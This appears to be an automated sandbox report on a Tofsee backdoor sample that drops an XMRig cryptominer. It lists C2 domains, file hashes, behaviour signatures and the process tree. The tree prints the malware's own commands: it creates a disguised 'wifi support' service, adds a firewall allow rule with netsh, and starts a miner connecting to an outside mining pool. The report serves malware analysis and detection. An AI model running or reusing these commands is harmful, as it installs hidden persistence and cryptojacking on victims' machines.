Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 16:26

General

  • Target
    file.exe
  • Size 256KB
  • Sample221025-txhdysdbf4
  • SHA256 eef3daf1a78cce9eb07b6a623cbc32cf6b0e78294c2af33d63b6d52ffa92954e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vyighofm\
      2⤵
        PID:2180
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nmlmnxzc.exe" C:\Windows\SysWOW64\vyighofm\
        2⤵
          PID:228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vyighofm binPath= "C:\Windows\SysWOW64\vyighofm\nmlmnxzc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vyighofm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vyighofm
          2⤵
          • Launches sc.exe
          PID:4044
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1848
      • C:\Windows\SysWOW64\vyighofm\nmlmnxzc.exe
        C:\Windows\SysWOW64\vyighofm\nmlmnxzc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:848

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            nmlmnxzc.exe

            • Path C:\Users\Admin\AppData\Local\Temp\nmlmnxzc.exe
            • Size 10.5MB
            • SHA256 86711c384e91f6a06e91d7cd4443a17041592aa193cdb9d424111f5ea95334e1
            • MD5 SHA1 SHA512 SSDEEP

            nmlmnxzc.exe

            • Path C:\Windows\SysWOW64\vyighofm\nmlmnxzc.exe
            • Size 10.5MB
            • SHA256 86711c384e91f6a06e91d7cd4443a17041592aa193cdb9d424111f5ea95334e1
            • MD5 SHA1 SHA512 SSDEEP

            memory/668-159-0x00000000017E0000-0x00000000017F0000-memory.dmp

            memory/668-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

            memory/668-168-0x00000000025D0000-0x00000000025D7000-memory.dmp

            memory/668-165-0x0000000007040000-0x000000000744B000-memory.dmp

            memory/668-156-0x00000000017D0000-0x00000000017D6000-memory.dmp

            memory/668-153-0x0000000002000000-0x000000000220F000-memory.dmp

            memory/668-152-0x0000000000490000-0x00000000004A5000-memory.dmp

            memory/668-150-0x0000000000490000-0x00000000004A5000-memory.dmp

            memory/668-146-0x0000000000490000-0x00000000004A5000-memory.dmp

            memory/848-177-0x00000000010A0000-0x0000000001191000-memory.dmp

            memory/848-172-0x00000000010A0000-0x0000000001191000-memory.dmp

            memory/4532-151-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/4532-147-0x0000000002D0E000-0x0000000002D24000-memory.dmp

            memory/4892-133-0x0000000002C70000-0x0000000002C83000-memory.dmp

            memory/4892-135-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/4892-144-0x0000000000400000-0x0000000002C2E000-memory.dmp

            memory/4892-132-0x0000000002E13000-0x0000000002E29000-memory.dmp

            memory/4892-143-0x0000000002E13000-0x0000000002E29000-memory.dmp